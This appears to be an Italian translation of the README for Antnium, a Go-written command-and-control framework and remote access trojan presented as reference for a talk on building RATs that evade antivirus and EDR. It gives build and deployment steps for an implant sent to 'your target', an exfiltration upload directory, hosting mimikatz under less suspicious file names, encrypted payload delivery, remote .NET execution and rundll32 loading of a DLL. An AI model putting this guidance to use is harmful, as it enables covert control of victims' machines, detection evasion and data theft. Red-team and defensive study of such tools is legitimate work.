
Un framework C2 per l'accesso iniziale in Go
Anti Tanium
Un framework C2 e RAT scritto in Go.
Questo codice sorgente è pubblicato come riferimento per la mia presentazione Develop your own RAT - AV & EDR Defense. Antnium è pensato per soddisfare i miei requisiti personali, e non quelli di altri. Funziona per le campagne che ho condotto, ma non è necessariamente pensato per essere un framework C2 generico.
Ci sono due componenti:
Scarica e installa Go (e Git).
Qui usiamo 127.0.0.1:8080 come dominio C2 (localhost, dato che avviamo sia client.exe che server.exe
sullo stesso host). Questo è anche il valore predefinito, quindi non c'è bisogno di modificare nulla.
Controlla la campagna in campaign/campaign.go:
serverUrl = "http://127.0.0.1:8080"Compilalo su Windows:
> .\makewin.bat deploy
Compilalo su Linux:
$ make deploy
Avvia il server e il client:
cd build\
.\server.exe
.\static\client.exe
Accedi alla WebUI aprendo il seguente URL nel browser dopo aver avviato server.exe:
http://localhost:8080/webui/
static/: Directory pubblica per gli strumentiMetti qui i file che vuoi scaricare su altre macchine. Come client.exe, wingman.exe.
E i tuoi strumenti, come mimikatz.exe o seatbelt.exe. Ma usa nomi di file meno sospetti.
I file sono disponibili anche tramite l'API /secure, richiesti con nomi di file crittografati, e come risposta un file crittografato e codificato in base64.
I file dotNet possono essere eseguiti usando l'opzione di esecuzione remote (accessibile tramite /secure).
upload/: Directory privata per l'esfiltrazione dei datiI file caricati dal client verranno salvati qui.
Installazione di Go:
apt install golang gcc-mingw-w64Compila client.exe e server.exe:
> .\makewin.bat deploy
Questo creerà:
Avvia server.exe:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
Avvia client.exe:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
Compilare il client Windows da Linux funziona, ma richiede
un po' di magia manuale con la riga di comando di GO/gcc, a causa di alcune
dipendenze Windows. Se non funziona subito, compila
il client Windows direttamente su Windows (makewin.bat client).
pkg/campaign/campaign.go collega un client.exe compilato con uno specifico server.exe, formando una campagna.
Una campagna ha chiavi di crittografia e autenticazione individuali, condivise tra
server e client.
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
E la chiave dell'admin UI / operatore in pkt/server/config.go:
type Config struct {
AdminApiKey string
}
Nota che ServerUrl è l'URL usato dal client per ogni interazione con il server.
È l'URL pubblico del server, ad es. http://totallynotmalware.ch. Il vero server.exe può
essere dietro un reverse proxy e avviato con server.exe --listenaddr 127.0.0.1:8080 (quindi ServerUrl non è necessariamente uguale a listenaddr).
Quando ti colleghi per la prima volta al server, devi prima accedere e configurare la UI.
I file della UI Angular sono pubblicamente accessibili. Supponiamo ServerUrl="http://localhost:8080" e listenaddr=0.0.0.0:8080. Puoi:
http://localhost:8080/webui nel tuo browserng serve dalla directory antniumui, e poi aprire http://localhost:4200 nel tuo browserQuando ti colleghi alla UI dal browser, devi prima configurare l'IP del server e la sua password:
Testato su:
Compila su Windows:
> .\makewin.bat client
Distribuiscilo sul tuo target.
Testato su:
Su Linux:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
Il risultato è server.exe. Assicurati di eseguirlo nella directory in cui hai o prevedi di avere:
Avvierà un server REST su quella porta, offrendo:
/: REST per i client/ws: Websocket per i client/admin: REST per l'interfaccia admin (aggiungi pacchetti, ottieni client)/adminws: Websocket per l'interfaccia admin (push dei pacchetti)/webui: File HTML per l'interfaccia admin (sorgente e html Angular, accede a REST e websocket)Metti un reverse proxy davanti (assicurati che supporti i websocket!) o inoltra le porte.
Per il proxy manuale, usa l'URL HTTP completo:
client.exe -proxy http://proxy:8080
oppure tramite variabili d'ambiente:
export PROXY http://localhost:8080
./client
Wingman è sostanzialmente il Client, ma senza connessione diretta al C2. Può connettersi a un client esistente su localhost:50000 (assicurati che sia avviato, se Campaign.AutoStartDownstreams è false)
Si connette alla porta locale 50000:
wingman.exe
Oppure usa rundll32.exe per caricare la dll (la versione a 64 bit di rundll32 in system32, non la versione a 32 bit in C:\Windows\SysWOW64\rundll32.exe):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
Apparirà come downstream net#0.
go test ./...
Potrebbero esserci ancora race condition. Se fallisce una volta, eseguilo di nuovo.